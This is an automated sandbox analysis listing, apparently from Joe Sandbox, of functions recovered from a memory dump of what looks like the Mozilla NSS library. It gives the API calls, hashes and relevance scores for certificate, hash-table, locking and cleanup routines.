Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 6c37aaf9351c5c8026930a8f872608a43fcaa9c4d14c2ecfb858271b16cc23e5
Instruction ID: 4d9c2d5da29ae40cc996e974c587c78bc3043399221b6d1bd1c8cac105f01647
Opcode Fuzzy Hash: 6c37aaf9351c5c8026930a8f872608a43fcaa9c4d14c2ecfb858271b16cc23e5
Instruction Fuzzy Hash: 594149B4A006058FCB04EF69D5848AABBF4FF49314B05C569EC599B710EB30E895CF92

Function 6C9ADCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C9ADCFA

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C9ADD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C9ADD62
CERT_DestroyCertificate.NSS3(?), ref: 6C9ADD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C9ADD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C9ADD8F

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C9ADD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C9ADDB7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: eb7e0cdd3bcb5c0932685915d9e44e91c3e43befd23a7ad6ee1f715002841193
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 81218CB6E012159BEB019EE4DC4199EB7B8BF25318F150464EC18A7B11F732E9168BE2

Function 6C9EF820 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 6C9EAD50: free.MOZGLUE(8955CCCC,?,6C9BB1EE,2404110F,?,?), ref: 6C9EAD7C
Part of subcall function 6C9EAD50: free.MOZGLUE(565753E5,?,6C9BB1EE,2404110F,?,?), ref: 6C9EADAB

free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C9EF854
free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C9EF868
DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C9EF882
free.MOZGLUE(04C483FF,?,?), ref: 6C9EF889
DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C9EF8A4
free.MOZGLUE(CCCCCCC3,?,?), ref: 6C9EF8AB
DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C9EF8C9
free.MOZGLUE(280F10EC,?,?), ref: 6C9EF8D0

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 6b78471e0bbfa6b776b0290a6e5dbe9021e5398c81d16dfca3cbfb277d9c7b0c
Instruction ID: 54d2f62a3b4d5a9c4065e432bbd52a0aed14a1b52a385973baaf923aba051615
Opcode Fuzzy Hash: 6b78471e0bbfa6b776b0290a6e5dbe9021e5398c81d16dfca3cbfb277d9c7b0c
Instruction Fuzzy Hash: 5021BDB66007069BEB21EF66E808B9737BCBF5974CF004429E52B83A00E735F116CB91

Function 6CA35F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35F72

Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99ED8F
Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99ED9E
Part of subcall function 6C99ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C99EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FCC
free.MOZGLUE(?,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FF4
free.MOZGLUE(?,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA35FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CA3AADB,?,?,?,?,?,?,?,?,00000000,?,6CA380C1), ref: 6CA36036

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 97e36e614dcf1e7bf322fb40c6d7f06269bc8b72956c7a78e45fded89ea35d5f
Instruction ID: e5bb2a3f0f9974c8760fc1b74a6c89643bcdc6b409ad08e49e8118ac920cc98a
Opcode Fuzzy Hash: 97e36e614dcf1e7bf322fb40c6d7f06269bc8b72956c7a78e45fded89ea35d5f
Instruction Fuzzy Hash: FA2138F1604B019BEB209F75AC19BD376A8BB5170CF184828E46EC7640EB3AF059CB91

Function 6C9A3810 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6C9FFD30,6CB00544,00000000,?,?,6C9B7645), ref: 6C9A3829

Part of subcall function 6C98ACC0: memset.VCRUNTIME140(00000000,00000000,00000004), ref: 6C98AD48

PR_NewLock.NSS3(?,?,?,?,?,6C9B7645), ref: 6C9A383A

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6C9FFD30,6CB00544,00000000,?,?,?,?,?,6C9B7645), ref: 6C9A385D
PR_NewLock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A386E

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PL_HashTableDestroy.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A3882
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C9B7645), ref: 6C9A389B
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C9B7645), ref: 6C9A38B4
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,6C9B7645), ref: 6C9A38C9

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: HashTable$Error$DestroyLock$CountCriticalInitializeLastSectionSpincallocfreememset
String ID:
API String ID: 3316637992-0
Opcode ID: e8eac47c7a7a33a402cd79a2fd81e577bda9c78f2db6efffd2dee8dcfc74a928
Instruction ID: 0b26569dd3b2c1f7aa2a6450cc59d69174ef61836251ff7e76c9c85fb5e7cd7c
Opcode Fuzzy Hash: e8eac47c7a7a33a402cd79a2fd81e577bda9c78f2db6efffd2dee8dcfc74a928
Instruction Fuzzy Hash: 1F11A5A0B512126AFB046BB96C0AF67359CAB3160CF100539A919D3F41FB65D50DC7A2

Function 6C9CF810 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001), ref: 6C9CF82E

Part of subcall function 6C9CCD80: free.MOZGLUE(?,6C9CD079,00000000,00000001), ref: 6C9CCDA5
Part of subcall function 6C9CCD80: PK11_FreeSymKey.NSS3(?,6C9CD079,00000000,00000001), ref: 6C9CCDB6
Part of subcall function 6C9CCD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C9CD079,00000000,00000001), ref: 6C9CCDCF
Part of subcall function 6C9CCD80: DeleteCriticalSection.KERNEL32(?,6C9CD079,00000000,00000001), ref: 6C9CCDE2
Part of subcall function 6C9CCD80: free.MOZGLUE(?), ref: 6C9CCDE9

PK11_FreeSymKey.NSS3(?), ref: 6C9CF840
PK11_FreeSymKey.NSS3(?), ref: 6C9CF84B
PK11_FreeSymKey.NSS3(?), ref: 6C9CF856
PK11_FreeSymKey.NSS3(?), ref: 6C9CF861
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF870
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF87C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9CF888

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Free$Item_UtilZfree$free$ContextCriticalDeleteDestroySection
String ID:
API String ID: 1794285729-0
Opcode ID: a7efc341ed7f20402d369d67d8a4afc8c8307b101e6240bfd17304946e9c75da
Instruction ID: 308f3a32de6296f50df33a661f0a65423a3af36e01f00322ba460d80aa65621c
Opcode Fuzzy Hash: a7efc341ed7f20402d369d67d8a4afc8c8307b101e6240bfd17304946e9c75da
Instruction Fuzzy Hash: D711C1B7A107045BD7215F25AC40A57BBB8EF3421DB104639E84A51F20F732F96D8692

Function 6CAB0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB086C

Part of subcall function 6CAB0930: EnterCriticalSection.KERNEL32(?,00000000,?,6CAB0C83), ref: 6CAB094F
Part of subcall function 6CAB0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CAB0C83), ref: 6CAB0974
Part of subcall function 6CAB0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0983
Part of subcall function 6CAB0930: _PR_MD_UNLOCK.NSS3(?,?,6CAB0C83), ref: 6CAB099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CAB08AA
free.MOZGLUE(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08C7
free.MOZGLUE(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08E9
free.MOZGLUE(?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CAB7AE2,?,?,?,?,?,?,6CAB798A), ref: 6CAB090E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 2d325b9bf5550e7c0b9f1f13efa19356cf4316e05bee4cd1003d68898ea6941d
Instruction ID: d26c4d1be7bc04310abf8baaa70735cb8af61f9e2c250fc1076c8caa10452e70
Opcode Fuzzy Hash: 2d325b9bf5550e7c0b9f1f13efa19356cf4316e05bee4cd1003d68898ea6941d
Instruction Fuzzy Hash: DC11B2F1B023414BFF04ABA9DE4974A377CBB5225CF1C0128E416A7A40DB32E994CBD2

Function 6C9A3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CA1460B,?,?), ref: 6C9A3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C9A3CB9
PL_HashTableLookup.NSS3(?), ref: 6C9A3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C9A3CD6
PR_Unlock.NSS3 ref: 6C9A3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C9A3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9A3D03
PR_Unlock.NSS3 ref: 6C9A3D15

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 9f9c5870b7f229a94ee83bc78b0ab93d584d3f4e5eb44e44bb0e44cb11881ff6
Instruction ID: 80841d005d874de521a4dcae6128a9581304c7d5301af8f5adaf7ce277609561
Opcode Fuzzy Hash: 9f9c5870b7f229a94ee83bc78b0ab93d584d3f4e5eb44e44bb0e44cb11881ff6
Instruction Fuzzy Hash: 6911007AF00605A7DB011B74EC058A67A7CFB2225CB188134ED1C53B11FB21D95EC7D1

Function 6CABB850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB862
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB869
DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB88A
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB891
DeleteCriticalSection.KERNEL32(6CAB798A), ref: 6CABB8B9
free.MOZGLUE(?), ref: 6CABB8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB8E1
free.MOZGLUE(?,?,6CAB7AF9,?,?,?,?,?,?,?,?,6CAB798A), ref: 6CABB8E8

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: af8e67a5b91909ed444e23b57cb0c12e678e51d67d7709fb2b7c838bded68b5d
Instruction ID: 010a4c82aae7cdae198d5736c221b8e318378dbb8380e65f570dae80b707bd61
Opcode Fuzzy Hash: af8e67a5b91909ed444e23b57cb0c12e678e51d67d7709fb2b7c838bded68b5d
Instruction Fuzzy Hash: 561156B1B027259BDE20EFA1E40C747377CBB06758F048118E92697540D335E55ECBD6

Function 6C9A9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C11C0: PR_NewLock.NSS3 ref: 6C9C1216

free.MOZGLUE(?), ref: 6C9A9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A9E4E
TlsGetValue.KERNEL32 ref: 6C9A9EA2

Part of subcall function 6C9B9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C9B9546

EnterCriticalSection.KERNEL32(?), ref: 6C9A9EB6
PR_Unlock.NSS3 ref: 6C9A9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C9A9F18

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2c430ebdd30728ab8db68e6c96bbd04dd16fe6ad3845d1e9d8803a894490c5db
Instruction ID: 06e014e4e20067d478dce3ba681dc5a80772d58b5233baca02a078a3fa842a49
Opcode Fuzzy Hash: 2c430ebdd30728ab8db68e6c96bbd04dd16fe6ad3845d1e9d8803a894490c5db
Instruction Fuzzy Hash: C8812B75A00301AFEB009F74DC40AAB77A9FF6524CF154528EC5997B02FB32E859C7A1

Function 6C9BDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32 ref: 6C9BDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C9BDD0E
PK11_IsFriendly.NSS3(?), ref: 6C9BDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C9BDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9BDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BDEA6
PR_Unlock.NSS3(?), ref: 6C9BDF08

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 7e42eac09cbe49aeafea0f1f1b247636058e0cbe28a0e153761e30b4c897f296
Instruction ID: 34bc41c1029e2e4d3a9dc8d62d227771be87af24f601749876cefeaaa871c26d
Opcode Fuzzy Hash: 7e42eac09cbe49aeafea0f1f1b247636058e0cbe28a0e153761e30b4c897f296
Instruction Fuzzy Hash: CA91E7B6A00105AFDB00CF68D881BABB7B5FF64308F158029ED19ABB45E731E955CBD1

Function 6C975FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C9760AB
sqlite3_config.NSS3(00000004,6CAC4CA4,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C9760EB
sqlite3_config.NSS3(00000012,6CAC4CC4,?,?,6CA5BB62,00000004,6CAC4CA4,?,?,00000000,?,?,6C9331DB), ref: 6C976122

Strings

%s at line %d of [%.10s], xrefs: 6C9760A4
misuse, xrefs: 6C97609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C976095

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
